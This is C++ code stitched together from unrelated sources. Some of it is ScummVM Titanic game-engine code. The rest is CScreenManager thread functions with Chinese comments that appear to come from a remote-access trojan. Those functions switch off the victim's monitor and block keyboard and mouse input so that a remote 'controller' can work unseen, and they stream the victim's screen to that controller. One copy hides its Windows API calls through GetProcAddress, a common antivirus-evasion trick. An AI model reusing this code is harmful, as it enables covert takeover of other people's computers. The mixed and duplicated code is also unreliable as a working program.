// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
static bool bIsScreenBlanked = false;
while (pThis->IsConnect())
{
// todo:加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
if (pThis->IsMetricsChange())
{
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
Sleep(10);
}
else
{
break;
}
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
if (pThis->IsMetricsChange())
{
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
}
BlockInput(false);
return -1;
}
void CMainGameWindow::applicationStarting() {
// Set the video mode
CScreenManager *screenManager = CScreenManager::setCurrent();
screenManager->setMode(640, 480, 16, 0, true);
#if 0
// Show the initial copyright & info screen for the game
if (gDebugLevel <= 0) {
Image image;
image.load("Bitmap/TITANIC");
_vm->_screen->blitFrom(image, Point(
SCREEN_WIDTH / 2 - image.w / 2,
SCREEN_HEIGHT / 2 - image.h / 2
));
_vm->_events->sleep(5000);
}
#endif
// Set up the game project, and get game slot
int saveSlot = getSavegameSlot();
if (saveSlot == -2)
return;
// Create game view and manager
_gameView = new CSTGameView(this);
_gameManager = new CGameManager(_project, _gameView, g_vm->_mixer);
_gameView->setGameManager(_gameManager);
// Load either a new game or selected existing save
_project->loadGame(saveSlot);
_inputAllowed = true;
_gameManager->_gameState.setMode(GSMODE_INTERACTIVE);
// TODO: Cursor/image
// Generate starting messages for entering the view, node, and room.
// Note the old fields are nullptr, since there's no previous view/node/room
CViewItem *view = _gameManager->_gameState._gameLocation.getView();
CEnterViewMsg enterViewMsg(nullptr, view);
enterViewMsg.execute(view, nullptr, MSGFLAG_SCAN);
CNodeItem *node = view->findNode();
CEnterNodeMsg enterNodeMsg(nullptr, node);
enterNodeMsg.execute(node, nullptr, MSGFLAG_SCAN);
CRoomItem *room = view->findRoom();
CEnterRoomMsg enterRoomMsg(nullptr, room);
enterRoomMsg.execute(room, nullptr, MSGFLAG_SCAN);
_gameManager->initBounds();
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
while (pThis->m_bIsWorking)
{
pThis->sendNextScreen();
}
return 0;
}
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 等控制端对话框打开
pThis->WaitForDialogOpen();
pThis->sendFirstScreen();
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen();
}catch(...){};
return 0;
}
void CGameManager::update() {
updateMovies();
frameMessage(getRoom());
_timers.update(g_vm->_events->getTicksCount());
_trueTalkManager.removeCompleted();
CScreenManager::_screenManagerPtr->_mouseCursor->update();
CViewItem *view = getView();
if (view) {
// Expand the game manager's bounds to encompass all the view's items
for (CTreeItem *item = view; item; item = item->scan(view)) {
Rect r = item->getBounds();
if (!r.isEmpty())
_bounds.extend(r);
}
// Also include the PET control in the bounds
if (_project) {
CPetControl *pet = _project->getPetControl();
if (pet)
_bounds.extend(pet->getBounds());
}
// And the text cursor
CScreenManager *screenManager = CScreenManager::_screenManagerPtr;
CTextCursor *textCursor = screenManager->_textCursor;
if (textCursor && textCursor->_active)
_bounds.extend(textCursor->getCursorBounds());
// Set the surface bounds
screenManager->setSurfaceBounds(SURFACE_BACKBUFFER, _bounds);
// Handle redrawing the view
if (!_bounds.isEmpty()) {
_gameView->draw(_bounds);
_bounds = Rect();
}
_gameState.checkForViewChange();
}
}
void CMainGameWindow::draw() {
if (_gameManager) {
if (!_gameView->_surface) {
CViewItem *view = _gameManager->getView();
if (view)
setActiveView(view);
}
CScreenManager *scrManager = CScreenManager::setCurrent();
scrManager->clearSurface(SURFACE_BACKBUFFER, &_gameManager->_bounds);
switch (_gameManager->_gameState._mode) {
case GSMODE_PENDING_LOAD:
// Pending savegame to load
_gameManager->_gameState.setMode(GSMODE_INTERACTIVE);
_project->loadGame(_pendingLoadSlot);
_pendingLoadSlot = -1;
// Deliberate fall-through to draw loaded game
case GSMODE_INTERACTIVE:
case GSMODE_CUTSCENE:
if (_gameManager->_gameState._petActive)
drawPet(scrManager);
drawView();
drawViewContents(scrManager);
scrManager->drawCursors();
break;
case GSMODE_INSERT_CD:
scrManager->drawCursors();
_vm->_filesManager->insertCD(scrManager);
break;
default:
break;
}
}
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
typedef VOID (WINAPI *SleepT)
(
__in DWORD dwMilliseconds
);
SleepT pSleep = (SleepT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"Sleep");
typedef LRESULT
(WINAPI
*SendMessageAT)(
__in HWND hWnd,
__in UINT Msg,
__in WPARAM wParam,
__in LPARAM lParam);
SendMessageAT pSendMessageA=(SendMessageAT)GetProcAddress(LoadLibrary("USER32.dll"),"SendMessageA");
typedef BOOL
(WINAPI
*SystemParametersInfoAT)(
__in UINT uiAction,
__in UINT uiParam,
__inout_opt PVOID pvParam,
__in UINT fWinIni);
SystemParametersInfoAT pSystemParametersInfoA=(SystemParametersInfoAT)GetProcAddress(LoadLibrary("USER32.dll"),"SystemParametersInfoA");
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
pSleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
pSystemParametersInfoA(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
pSendMessageA(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
typedef BOOL (WINAPI *BlockInputT)
(
BOOL fBlockIt
);
BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
pBlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
typedef BOOL (WINAPI *BlockInputT)
(
BOOL fBlockIt
);
BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput");
pBlockInput(false);
return -1;
}
